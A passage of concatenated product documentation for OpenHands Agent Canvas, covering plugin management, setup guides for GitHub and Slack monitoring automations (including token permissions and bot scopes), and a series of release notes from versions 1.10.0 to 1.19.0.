sidebar to manage plugins for the active backend. - -From the Plugins page, you can: - -- Search the plugin catalog -- Inspect plugin details -- Install a plugin from the catalog or source -- Enable or disable installed plugins -- Uninstall plugins that are managed by Agent Canvas -- Confirm locally discovered plugins - -Plugin management is backend-scoped. Switching backends changes which installed and local plugins you see. - -## Installed and Local Plugins - -Agent Canvas shows plugin status in the Plugins page: - -| Status | Meaning | -|--------|---------| -| `Installed` | The plugin is managed by Agent Canvas and can be enabled, disabled, or uninstalled | -| `Available` | The plugin is visible in the catalog but not installed | -| `Local` | The plugin was discovered from a local plugin directory and is shown as read-only | - -Local plugins are discovered from user-level plugin directories such as `~/.agents/plugins` and `~/.openhands/plugins`. They can load into conversations, but Agent Canvas does not manage their lifecycle from the UI. - - - Local plugins are read-only in the Plugins page. To change or remove a local plugin, edit the files in the local plugin directory. - - -## Inspect Plugin Contents - -Select a plugin to open its details. Alongside its metadata, the detail view can show: - -- **Skills in this plugin bundle** — cards for bundled skills, including command-derived skills, with their icons, names, and descriptions. -- **Files** — an expandable directory tree. Select a file to view it inline with syntax highlighting; select it again to close the viewer. - -Plugin content is provided by the active backend. A backend that does not provide this data shows plugin metadata only. - -## Enable or Disable Installed Plugins - -Enabled installed plugins are automatically available to new conversations on that backend. Disabled plugins remain installed, but they are not loaded into new conversations. - -Use this when you want to keep a plugin available without making it part of every new conversation. - -## Attach Plugins to a New Conversation - -When you start a new conversation, use the `Plugins` picker in the chat launcher to attach catalog plugins explicitly. - -Attached plugins are opt-in for that conversation. If you start another conversation without selecting plugins, Agent Canvas does not attach any conversation-specific plugins. - -Installed and enabled plugins may still load automatically for new conversations, depending on the active backend configuration. - -## View Attached Plugins During a Conversation - -When a conversation has explicitly attached plugins, open the conversation tools menu and select `Show Plugins` to see them. - -This view lists plugins attached when the conversation was created. It is display-only and does not include every ambient or installed plugin that might also be available to the backend. - -## Trust and Backend Scope - -Plugins can add instructions, tools, hooks, and external integrations. Install plugins only from sources you trust, and review what a plugin contains before enabling it. - -Because plugins are managed by the active backend: - -- A local backend can discover local plugin directories on that machine -- A remote backend uses its own plugin state, not your laptop's plugin directories -- Switching backends can change which plugins are installed, enabled, or local - -## Related Guides - -- [Plugins](/overview/plugins) -- [SDK Plugins](/sdk/guides/plugins) -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) - -### Setup a Pre-built Automation -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt-automations.md - -Agent Canvas ships with a set of pre-built automations for the most common agent workflows. Each one is a ready-to-use starting point — pick the one that fits your use case, connect it to the right backend, and you can have an automation running in minutes. - -## Available Pre-built Automations - -| Automation | What It Does | -|------------|-------------| -| [GitHub PR Review Assistant](/openhands/usage/agent-canvas/prebuilt/github-pr-review) | Automatically reviews pull requests and posts feedback as a comment | -| [GitHub Repository Monitor](/openhands/usage/agent-canvas/prebuilt/github-repo-monitor) | Watches a repository for events and triggers agent actions in response | -| [Slack Channel Monitor](/openhands/usage/agent-canvas/prebuilt/slack-channel-monitor) | Listens to a Slack channel and triggers an agent when a message matches a pattern | - ---- - -Backends created by the `agent-canvas` launcher include Automation Server, so they can run agents on a schedule or in response to external events. - -## What You Can Do - -In the `Automate` view, you can: - -- Browse existing automations -- Inspect automation configuration and activity -- Enable or disable automations -- Edit an automation's LLM profile for future runs -- Work with recommended automation flows - -## How Creation Flows Usually Start - -The `Automations` view is mainly for browsing and managing automations that already exist. - -In practice, new automation setup starts in one of two ways: - -- From a conversation, where you ask OpenHands to `create an automation` for you -- From a recommended automation flow in the `Automations` view - -For recommended automations that support a direct form setup, Agent Canvas checks the active backend's capabilities and any prerequisites, then guides you through the required input fields, a review step, and creation. If direct form setup is unavailable, it offers a conversation-assisted setup instead. Review the proposed configuration before creating an automation. - -Some catalog entries ship a **script bundle** — a packaged set of files that install as a deterministic automation — rather than a prompt-based preset. Script-bundle entries run their own logic for tasks like polling, deduplication, and fixed API calls, using the agent only for the parts that genuinely require judgment. When a catalog entry supports a bundle install, the setup form handles packaging and upload automatically; you just fill in the required fields. - -Catalog entries that accept repositories can also collect multiple repositories in a single field, so one automation can monitor several repos at once. - -For a detailed walkthrough, see [Creating Automations](/openhands/usage/automations/creating-automations). - - - Some recommended automations depend on integrations that cannot be auto-installed as MCP servers on this backend (for example, Jira's HTTP/OpenAPI-only integration). These appear on the recommendation card with a `Needs external setup` label. The `MCPs to connect` count only covers integrations the install flow can connect automatically. You must configure externally-hosted integrations yourself before the automation can use them. - - -Automations run against the active backend. Use [Manage Backends](/openhands/usage/agent-canvas/backends) to see and switch which backend your automations run on. - -## Edit an Automation's LLM Profile - -Open an automation, select `Edit`, and use the `LLM profile` dropdown to change which saved profile future runs use. If an automation already has a profile, the edit dialog pre-selects it. - -Changing the LLM profile affects future automation runs. It does not rewrite previous run history. - -## Select an Agent Profile for an Automation - -When the active backend advertises agent-profile support, the automation setup and edit dialogs include an optional **agent profile** selector. Choose a saved agent profile to use for automation runs instead of the default agent. - -When a saved agent profile is selected: - -- The stable `agent_profile_id` identifies the profile sent to the backend. -- The automation uses the selected agent profile instead of an LLM profile. Editing an automation clears any existing legacy model selection. - -If a previously selected agent profile has been deleted, it remains visible in the selector rather than silently switching to another profile. This lets you review the configuration before choosing a replacement. - -The agent profile selector appears only on backends that support agent profiles. On backends without agent-profile support, only the LLM profile dropdown is available. - -### GitHub PR Review Assistant -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt/github-pr-review.md - -Use the GitHub PR Review Assistant when you want Agent Canvas to watch pull requests and have an OpenHands agent review them. - -The setup has two parts: - -- Give the active backend access to GitHub -- Start the pre-built PR review workflow from `Automate` - -## Prerequisites - -Before you start, make sure you have: - -- Agent Canvas installed and running -- An LLM configured for the backend that will run the automation -- Access to create a GitHub token for the repository you want to review -- Access to install MCP servers and save secrets in Agent Canvas - -If you are new to Agent Canvas, start with [Install](/openhands/usage/agent-canvas/setup) and [First-Time Setup](/openhands/usage/agent-canvas/first-time-setup). - -## Create a GitHub Access Token - -1. Go to [GitHub Developer Settings](https://github.com/settings/tokens). -2. Click `Generate new token`. -3. Prefer a fine-grained personal access token if your organization supports it. -4. Give the token a clear name, such as `Agent Canvas PR Reviewer`. -5. Select repository access: - - Choose `Only select repositories` for the safest setup. - - Choose `All repositories` only if the automation needs broad access. -6. Set an expiration date that matches your team's security policy. - -## Add Repository Permissions - -In the token setup screen, grant the permissions the reviewer needs. - -For a PR review automation, use: - -| Permission | Access | -|------------|--------| -| `Contents` | Read and write | -| `Issues` | Read and write | -| `Pull requests` | Read and write | -| `Metadata` | Read-only | -| `Actions` | Read-only, if the automation should inspect CI results | -| `Checks` | Read-only, if the automation should inspect check runs | - -Then click `Generate token` and copy the token immediately. - - - GitHub only shows the token once. Store it somewhere secure until you finish configuring Agent Canvas. - - -## Add the GitHub MCP Server - -The GitHub MCP server gives the agent tools for reading repositories, inspecting pull requests, and posting review output. - -1. In Agent Canvas, check the backend switcher in the bottom-left corner. -2. Make sure the active backend is the backend where you want the PR review automation to run. -3. Open `Customize`. -4. Open `MCP Servers`. -5. Select `GitHub` from the MCP library. -6. Paste the GitHub token you created earlier. -7. Make sure the secret-creation toggle is on so Agent Canvas creates the token secret automatically when you save the MCP server configuration. -8. Save the MCP server configuration. - -## Start the PR Review Workflow - -1. Open `Automate` in the left navigation. -2. Find `Start from a proven workflow`. -3. Choose the GitHub PR review workflow. -4. Agent Canvas opens a new conversation with a prefilled setup prompt. -5. Send the prompt as-is, or edit it first if you already know what you want. - -After you send the prompt, the agent starts a setup conversation. It uses the preconfigured skills and GitHub access to interview you, clarify the review workflow, and create the automation. - -## Customize the Review - -You do not need to know every detail before sending the prefilled prompt. The agent will ask follow-up questions to clarify: - -- The repository owner and name -- Which pull requests to review -- Whether the agent should post a single summary comment or detailed inline feedback -- Whether the agent should inspect CI results before commenting -- Any files, directories, or checks the reviewer should ignore - -You can edit the prefilled prompt before sending it if you want to provide any of those details up front. - -## Verify the Automation - -After the automation is created: - -1. Open `Automate`. -2. Confirm the new automation appears in the list. -3. Open the automation details and check that it is enabled. -4. Trigger or wait for a matching pull request event. -5. Confirm that the agent run appears and that the review is posted to GitHub. - -## Related Guides - -- [GitHub Repository Monitor](/openhands/usage/agent-canvas/prebuilt/github-repo-monitor) -- [Setup a Pre-built Automation](/openhands/usage/agent-canvas/prebuilt-automations) -- [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) - -### GitHub Repository Monitor -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt/github-repo-monitor.md - -Use the GitHub Repository Monitor when you want Agent Canvas to watch a repository and trigger an OpenHands agent when matching activity happens. - -Common examples include: - -- Monitoring new issues and pull requests -- Watching failed CI runs -- Checking for dependency or release activity -- Creating follow-up work when a repository changes - -## Prerequisites - -Before you start, make sure you have: - -- Agent Canvas installed and running -- An LLM configured for the backend that will run the automation -- Access to create a GitHub token for the repository you want to monitor -- Access to install MCP servers and save secrets in Agent Canvas - -If you are new to Agent Canvas, start with [Install](/openhands/usage/agent-canvas/setup) and [First-Time Setup](/openhands/usage/agent-canvas/first-time-setup). - -## Create a GitHub Access Token - -1. Go to [GitHub Developer Settings](https://github.com/settings/tokens). -2. Click `Generate new token`. -3. Prefer a fine-grained personal access token if your organization supports it. -4. Give the token a clear name, such as `Agent Canvas Repo Monitor`. -5. Select repository access: - - Choose `Only select repositories` for the safest setup. - - Choose `All repositories` only if the automation needs broad access. -6. Set an expiration date that matches your team's security policy. - -## Add Repository Permissions - -In the token setup screen, grant only the permissions your monitor needs. - -For most repository monitors, start with: - -| Permission | Access | -|------------|--------| -| `Contents` | Read-only, or read and write if the agent will open changes | -| `Issues` | Read and write if the agent will triage or comment on issues | -| `Pull requests` | Read and write if the agent will inspect or comment on pull requests | -| `Metadata` | Read-only | -| `Actions` | Read-only, if the automation should inspect workflow runs | -| `Checks` | Read-only, if the automation should inspect check runs | - -Then click `Generate token` and copy the token immediately. - - - If you change token permissions later, you may need to update the token or create a new one. - - -## Add the GitHub MCP Server - -The GitHub MCP server gives the agent tools for reading repository state and taking GitHub actions. - -1. In Agent Canvas, check the backend switcher in the bottom-left corner. -2. Make sure the active backend is the backend where you want the repository monitor to run. -3. Open `Customize`. -4. Open `MCP Servers`. -5. Select `GitHub` from the MCP library. -6. Paste the GitHub token you created earlier. -7. Make sure the secret-creation toggle is on so Agent Canvas creates the token secret automatically when you save the MCP server configuration. -8. Save the MCP server configuration. - -## Start the Repository Monitor Workflow - -1. Open `Automate` in the left navigation. -2. Find `Start from a proven workflow`. -3. Choose the GitHub repository monitor workflow. -4. Agent Canvas opens a new conversation with a prefilled setup prompt. -5. Send the prompt as-is, or edit it first if you already know what you want. - -After you send the prompt, the agent starts a setup conversation. It uses the preconfigured skills and GitHub access to interview you, clarify the monitoring workflow, and create the automation. - -## Customize the Monitor - -You do not need to know every detail before sending the prefilled prompt. The agent will ask follow-up questions to clarify: - -- The repository owner and name -- The events or conditions the monitor should watch -- How often the automation should check the repository, if it is schedule-based -- What the agent should do when it finds a match -- Where the agent should report results, such as a GitHub comment or Slack channel - -You can edit the prefilled prompt before sending it if you want to provide any of those details up front. - -For example, you can ask the monitor to watch for failed workflow runs, summarize the failure, and open a pull request when the fix is straightforward. - -## Verify the Automation - -After the automation is created: - -1. Open `Automate`. -2. Confirm the new automation appears in the list. -3. Open the automation details and check that it is enabled. -4. Trigger or wait for matching repository activity. -5. Confirm that the agent run appears and performs the action you requested. - -## Related Guides - -- [GitHub PR Review Assistant](/openhands/usage/agent-canvas/prebuilt/github-pr-review) -- [Setup a Pre-built Automation](/openhands/usage/agent-canvas/prebuilt-automations) -- [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) - -### Slack Channel Monitor -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/prebuilt/slack-channel-monitor.md - -Use the Slack Channel Monitor when you want Agent Canvas to watch a Slack channel and trigger an OpenHands agent when a message matches your instructions. - -Common examples include: - -- Responding when someone mentions a support keyword -- Turning bug reports into GitHub issues -- Summarizing incidents from an alerts channel -- Running a repository task from a Slack request - -## Prerequisites - -Before you start, make sure you have: - -- Agent Canvas installed and running -- An LLM configured for the backend that will run the automation -- Permission to create and install a Slack app in your workspace -- Access to install MCP servers and save secrets in Agent Canvas - -If you are new to Agent Canvas, start with [Install](/openhands/usage/agent-canvas/setup) and [First-Time Setup](/openhands/usage/agent-canvas/first-time-setup). - -## Create the Slack App - -1. Go to the [Slack API dashboard](https://api.slack.com/apps). -2. Click `Create New App`. -3. Select `From scratch`. -4. Enter an app name, such as `OpenHands`. -5. Choose the workspace where you want to install the bot. -6. Click `Create App`. - -## Add Bot Token Scopes - -Before Slack gives you a bot token, you need to define what the bot is allowed to do. - -1. In the Slack app settings, open `OAuth & Permissions`. -2. Scroll to `Scopes`. -3. Under `Bot Token Scopes`, click `Add an OAuth Scope`. -4. Add the scopes required by the Slack MCP server and your monitor. - -For a channel monitor, add these bot token scopes: - -| Scope | Purpose | -|-------|---------| -| `app_mentions:read` | View messages that directly mention the app in conversations it belongs to | -| `channels:read` | List and read public channel metadata | -| `channels:history` | Read messages from public channels | -| `chat:write` | Send messages as the app | -| `emoji:read` | View custom emoji in the workspace | -| `groups:history` | Read messages from private channels the app has been added to | -| `reactions:read` | View emoji reactions and associated message content | -| `reactions:write` | Add and edit emoji reactions | -| `users:read` | Resolve Slack users and profiles | - - - Slack may require you to reinstall the app after changing scopes. - - -## Install the App and Copy the Bot Token - -1. Stay on the `OAuth & Permissions` page. -2. Click `Install to Workspace`. -3. Review the requested permissions. -4. Click `Allow`. -5. Copy the `Bot User OAuth Token` from the `OAuth Tokens` section. - -## Invite the Bot to Channels - -The bot does not automatically join channels. - -Invite it to every channel you want the automation to monitor. The Agent Canvas backend can only watch channels the bot can access. - -## Find Your Slack Workspace ID - -The Slack MCP server also needs your workspace ID. - -You can find it from your Slack URL or workspace settings. See Slack's guide to [locating your Slack URL or ID](https://slack.com/help/articles/221769328-Locate-your-Slack-URL-or-ID). - -## Add the Slack MCP Server - -The Slack MCP server gives the agent tools for reading Slack channel activity and posting responses. - -1. In Agent Canvas, check the backend switcher in the bottom-left corner. -2. Make sure the active backend is the backend where you want the Slack monitor to run. -3. Open `Customize`. -4. Open `MCP Servers`. -5. Select `Slack` from the MCP library. -6. Paste the bot token. -7. Enter your Slack workspace ID. -8. Make sure the secret-creation toggle is on so Agent Canvas creates the bot token secret automatically when you save the MCP server configuration. -9. Save the MCP server configuration. - -## Start the Slack Channel Monitor Workflow - -1. Open `Automate` in the left navigation. -2. Find `Start from a proven workflow`. -3. Choose the Slack channel monitor workflow. -4. Agent Canvas opens a new conversation with a prefilled setup prompt. -5. Send the prompt as-is, or edit it first if you already know what you want. - -After you send the prompt, the agent starts a setup conversation. It uses the preconfigured skills and Slack access to interview you, clarify the channel monitor, and create the automation. - -## Customize the Monitor - -You do not need to know every detail before sending the prefilled prompt. The agent will ask follow-up questions to clarify: - -- The Slack channel or channels to monitor -- The message pattern, keyword, or mention that should trigger the agent -- What the agent should do when a message matches -- Whether the agent should reply in Slack -- Any GitHub repository or external service the agent should use - - - - If you want the automation to watch for `@your-bot-name`, tell the agent to watch for Slack bot mentions as well as the trigger phrases you set. That way, it can respond when someone mentions the bot directly, not just when a specific keyword appears. - - -You can edit the prefilled prompt before sending it if you want to provide any of those details up front. - -For example, you can ask the tell the agent to configure the automation to watch an #alerts channel, summarize new incidents, and create a GitHub issue when a message includes a production error. - - -## Verify the Automation - -After the automation is created: - -1. Open `Automate`. -2. Confirm the new automation appears in the list. -3. Open the automation details and check that it is enabled. -4. Post a test message in a channel the bot has joined. -5. Confirm that the agent run appears and performs the action you requested. - -## Related Guides - -- [GitHub Repository Monitor](/openhands/usage/agent-canvas/prebuilt/github-repo-monitor) -- [Setup a Pre-built Automation](/openhands/usage/agent-canvas/prebuilt-automations) -- [Customize and Settings](/openhands/usage/agent-canvas/customize-and-settings) - -### Agent Canvas 1.10.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.10.0.md - -# Agent Canvas 1.10.0 - -Released August 5, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.10.0). - -## Highlights - -- **Canvas default model set to GLM 5.2** — New conversations now use GLM 5.2 as the default model, providing a better out-of-the-box experience without requiring manual model selection. -- **Activity Log export** — Users can export the full Activity Log for a conversation, making it easier to share agent trajectories and audit work outside of Canvas. -- **Featured Automations dashboard** — A new landing dashboard surfaces featured automations, helping users discover and set up prebuilt workflows directly from the home screen. -- **Faceted skills filter** — The skills page now includes a faceted filter rail, letting users quickly narrow down skills by category, source, or status. -- **Manifest-driven automation sub-pages** — Automations can now define their own sub-pages via a manifest, enabling richer configuration UIs without custom frontend code. - -## Improvements and fixes - -- Automation timeout cap is now derived from the deployment configuration, preventing runs from being silently capped by stale defaults. -- Sidebar conversation links are pinned to the correct backend identity, fixing broken navigation when multiple backends are connected. -- Local proxy targets now use IPv4 loopback addresses, resolving connection failures on systems where IPv6 loopback is not configured. -- Resolved all npm audit vulnerabilities reported in the frontend dependency tree. -- MCP server credentials are preserved during Canvas settings mutations, preventing credential loss when toggling or editing other settings. - -## Full changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.10.0) -- [Compare v1.9.0 to v1.10.0](https://github.com/OpenHands/OpenHands/compare/v1.9.0...v1.10.0) - -### Agent Canvas 1.11.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.11.0.md - -# Agent Canvas 1.11.0 - -Released August 7, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.11.0). - -## Highlights - -- **Per-run LLM cost in Activity Log** — Each Activity Log entry and CSV export now includes the LLM cost for that run, giving users visibility into spending at the conversation level. -- **Typed agent action for child conversations** — A new typed action lets agents programmatically launch local or Cloud child conversations, enabling structured delegation workflows. -- **Automation tag filter and recognition** — Automations can now be tagged, and the UI supports filtering by tags so users can organize and find automations faster. -- **Conversation tag chips** — Conversations display tag chips with overflow and hovercard labels, making it easier to identify and group conversations by category. -- **Customize navigation reordered** — The Customize page navigation has been reorganized for a more logical flow between settings sections. -- **Version update UI polished** — The Agent Canvas version update experience has been refined with clearer status indicators and smoother transitions. -- **Automations pane always visible** — The home screen Automations pane now stays visible even when no automations are installed, guiding users toward setup. - -## Improvements and fixes - -- Multi-size application icons are now shipped for both Windows and macOS, eliminating blurry or missing icons in taskbars and docks. -- The desktop app has been renamed to "OpenHands Agent Canvas" for consistency across platforms. -- Runtime metrics now fetch the conversation directly instead of going through a removed cloud-proxy endpoint, fixing a broken metrics path. - -## Full changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.11.0) -- [Compare v1.10.0 to v1.11.0](https://github.com/OpenHands/OpenHands/compare/v1.10.0...v1.11.0) - -### Agent Canvas 1.12.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.12.0.md - -# Agent Canvas 1.12.0 - -Released August 7, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.12.0). - -## Highlights - -- **Clarified free OpenHands model endpoints** — The free OpenHands model offerings now have clearer endpoint labeling, helping users understand which models are available at no cost and how to select them. - -## Full changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.12.0) -- [Compare v1.11.0 to v1.12.0](https://github.com/OpenHands/OpenHands/compare/v1.11.0...v1.12.0) - -### Agent Canvas 1.13.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.13.0.md - -# Agent Canvas 1.13.0 - -Released August 13, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.13.0). - -## Highlights - -- **Context window usage meter and manual compaction** — A new context-window usage meter, usage drawer, and manual compaction control let users monitor and manage token consumption in real time, preventing unexpected context overflow. -- **Client-side conversation archive** — Users can archive conversations directly from the sidebar, keeping the active conversation list clean without permanently deleting work. -- **Inline markdown artifact previews** — Markdown artifacts rendered in chat now show inline previews, reducing the need to open a separate viewer for common output formats. -- **Ready-for-dev issue readiness gate** — A new readiness gate enforces type-specific criteria before issues are marked ready for development, improving workflow discipline. - -## Improvements and fixes - -- A postinstall message now explains how to start Agent Canvas after installation. -- Agent-server telemetry is now correctly configured when launched from Canvas. -- Overflow menus are now usable on touch devices, fixing a long-standing mobile interaction issue. -- The sidebar "Load more" button now correctly discovers folders rather than expanding folder contents prematurely. -- Chat input drag-resize is disabled when the input is not bottom-anchored, preventing unexpected layout shifts. -- Non-MCP-installable automation integrations are now surfaced instead of being silently dropped. -- A flaky `ProgressEvent` unhandled rejection in CI has been resolved. -- Launcher services are spawned without an implicit shell, improving reliability across environments. -- The Basic LLM provider list no longer truncates at 100 entries, ensuring all available providers are visible. -- The context meter ring track is now drawn from the foreground color instead of a border token, fixing visual inconsistency. -- Pending MSW callbacks are drained before jsdom teardown, eliminating a `ProgressEvent` `ReferenceError` in tests. - -## Full changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.13.0) -- [Compare v1.12.0 to v1.13.0](https://github.com/OpenHands/OpenHands/compare/v1.12.0...v1.13.0) - -### Agent Canvas 1.14.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.14.0.md - -# Agent Canvas 1.14.0 - -Released August 17, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.14.0). - -## Highlights - -- **Structured error outcomes** — Agent errors are now presented as structured outcomes in the UI, making it easier to understand what went wrong and what action to take next. -- **LLM pre-flight validation** — A pre-flight check validates LLM configuration before saving a profile, preventing misconfigured profiles from being saved and causing failures at run time. -- **Git Sync page for automations** — A new Git Sync page lets automation authors manage how their automation repositories stay in sync, streamlining the automation development lifecycle. -- **Canvas default model set to Kimi K3** — New conversations now default to Kimi K3, which is tagged as free, lowering the barrier to entry for new users. - -## Improvements and fixes - -- Onboarding now preselects the OpenHands LLM provider after picking the OpenHands agent, reducing friction during first-time setup. -- Backend scope is preserved in conversation links, fixing broken navigation when switching between multiple backends. -- The `VITE_BACKEND_BASE_URL` is no longer baked at build time during `npm run dev`, allowing developers to point at different backends without rebuilding. -- Automation local responder URLs are now set from the browser origin, fixing webhook delivery in behind-proxy deployments. -- The full workspace file tree is now shown in the Files tab on cloud backends, restoring visibility into nested directories. - -## Full changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.14.0) -- [Compare v1.13.0 to v1.14.0](https://github.com/OpenHands/OpenHands/compare/v1.13.0...v1.14.0) - -### Agent Canvas 1.15.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.15.0.md - -# Agent Canvas 1.15.0 - -Released August 21, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.15.0). - -## Highlights - -- **Getting started checklist** — A new checklist in the sidebar helps users complete initial setup. Its visibility can be controlled in settings. -- **Workspace paths in Files** — The Files view now shows the workspace path, making it easier to identify the folder currently being explored. -- **Script-bundle automation installs** — Automation catalog entries can now install a bundled script along with the automation, supporting more complete automation setups. -- **LLM provider connections** — Local agent-server users can manage LLM provider connections from a dedicated interface. -- **Automation dashboard and discovery** — The automations dashboard, recommendations rail, and Add/Import flow have been updated to make finding and adding automations easier. -- **Conversation overview and commits** — Conversations now include an overview panel and a unified commits drawer, bringing key conversation information and Git commits together. - -## Improvements and fixes - -- Agent profiles are no longer silently downgraded. -- Grouped workspace views now show all folders even when pagination is in use. -- The LLM selected from the home dropdown now takes precedence over an agent profile's pinned LLM. -- The `Cmd`+`Enter` build shortcut now applies only in plan mode. -- Long skill descriptions no longer hide modal actions. -- PDF previews now render in the built-in viewer. -- Agent Canvas no longer persists ACP model selections to agent settings when profile discovery fails. -- The events socket stays alive across refetches and has a bounded handshake, improving connection reliability. -- Streaming deltas are batched so the UI can keep up with faster models. - -## Full changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.15.0) -- [Compare v1.14.0 to v1.15.0](https://github.com/OpenHands/OpenHands/compare/v1.14.0...v1.15.0) - -### Agent Canvas 1.16.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.16.0.md - -# Agent Canvas 1.16.0 - -Released August 27, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.16.0). - -## Highlights - -- **Supported-provider selector** — The "Add provider" connection flow now uses a searchable supported-provider selector instead of free text. Existing connections keep free-text editing. -- **Linux desktop installer** — New Linux desktop installer artifacts (AppImage and deb) for the Agent Canvas desktop app. -- **Live run phase for automations** — Automation runs now surface a live phase (PENDING/RUNNING/FAILED) on cards, the activity log, and home; the phase is exported in CSV/JSON activity logs. -- **LLM-switching toggle in Agent settings** — A new "Let the agent switch LLM profiles" toggle in the Agent profile editor controls whether the `SwitchLLMTool` is available to the agent. -- **Explicit skill allow-list** — The skill catalog now defaults to an 11-skill allow-list instead of enabling all ~59 catalog skills; Customize gains a "Recommended" badge/facet. -- **Canvas Extensions beta** — Add trusted custom pages and integrated tools to Agent Canvas without forking the application. Install and manage extensions in `Customize > Extensions`; see [Canvas Extensions (Beta)](/openhands/usage/agent-canvas/canvas-extensions). - -## Improvements and fixes - -- File paths in chat are now clickable and link to the Files drawer. -- Onboarding is skipped when a user-added Local backend already has a usable LLM. -- The default model is now OpenAI GPT-5.6 Sol, and DeepSeek V4 Flash is the sole free OpenHands-routed model. -- The VSCode button now renders on self-hosted (local) backends, gated on editor capability. -- The API key for the OpenHands provider is hidden on cloud. -- The home screen remembers local workspace mode selection. -- Conversation titles can be renamed on cloud backends. -- The API key is validated before advancing the backend connection step. -- Routine dependency bumps (software-agent-sdk 1.44.0, automation 1.9.0, extensions 0.19.0). - -## Full changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.16.0) -- [Compare v1.15.0 to v1.16.0](https://github.com/OpenHands/OpenHands/compare/v1.15.0...v1.16.0) - -### Agent Canvas 1.17.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.17.0.md - -# Agent Canvas 1.17.0 - -Released September 9, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.17.0). - -## Highlights - -- **Apps beta** — Canvas Extensions is now called Apps in Agent Canvas. Manage trusted custom pages in `Customize > Apps`; the Canvas Extensions API and `canvas-extension.json` format remain unchanged. See [Apps (Beta)](/openhands/usage/agent-canvas/canvas-extensions). -- **Local Plan Mode Enabled** — Plan, refine, and build from a plan on a self-hosted or local Agent Server backend. -- **Conversation tags and filtering** — Add tags from a conversation row menu, show tag chips, and filter the conversation list by tags or automation name. See [Conversations](/openhands/usage/agent-canvas/conversations). -- **Cloud LLM provider connections** — Cloud backends with an organization can manage and select shared provider connections in LLM settings. - -## Improvements and Fixes - -- Workspace hooks in `.openhands/hooks.json` now load automatically when you start a local Agent Canvas conversation. See [Hooks](/openhands/usage/customization/hooks). -- Self-hosted deployments can opt out of product telemetry with `AGENT_CANVAS_DISABLE_TELEMETRY=1` (or `true`) or the `--disable-telemetry` runtime flag. -- Automation permissions now distinguish viewing from managing automations. Users with view-only access can still manage automations they created. - -## Full Changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.17.0) -- [Compare v1.16.0 to v1.17.0](https://github.com/OpenHands/OpenHands/compare/v1.16.0...v1.17.0) - -### Agent Canvas 1.18.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.18.0.md - -# Agent Canvas 1.18.0 - -Released September 11, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.18.0). - -## Highlights - -- **Image lightbox** — Click an image attachment in a conversation to open it full size in a lightbox overlay. Dismiss with Escape, the close button, or a backdrop click. See [Conversations](/openhands/usage/agent-canvas/conversations). -- **Automation creator permissions** — Only the automation creator can re-enable a disabled automation on cloud backends. Managers can still disable or delete automations. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). -- **Edit automations on cloud backends** — Automations can now be edited on cloud backends (previously read-only). Edit an automation's name, prompt, model, timeout, or schedule directly in Agent Canvas. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). -- **Automation identity display** — The automation detail page now shows which identity (user) an automation runs as in the configuration section. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). - -## Improvements and Fixes - -- Cloud settings navigation is fixed when Canvas is locked to a Cloud host: the gear icon passes the active organization, unlisted settings pages are hidden from the command menu, and Cloud settings open in the same tab. -- The misleading "No budget limit" line is removed from the Token Usage panel. -- New ACP harnesses registered by the agent-server are disabled by default until explicitly enabled. - -## Full Changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.18.0) -- [Compare v1.17.0 to v1.18.0](https://github.com/OpenHands/OpenHands/compare/v1.17.0...v1.18.0) - -### Agent Canvas 1.19.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.19.0.md - -# Agent Canvas 1.19.0 - -Released September 16, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.19.0). - -## Highlights - -- **MCP server scoping for agent profiles** — Agent profiles can now be scoped to specific MCP servers using `mcp_server_refs`. When a profile is scoped, only the selected MCP servers' tools are available to the agent in that conversation. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). -- **Automation disablement reasons** — The automation detail page now shows a human-readable disablement reason with structured detail and a timestamp. This makes it easy to understand why an automation was disabled, whether manually or due to a permanent dispatch failure. See [Managing automations](/openhands/usage/agent-canvas/managing-automations). -- **GPT-6 Astra model support** — The Codex ACP model picker includes GPT-6 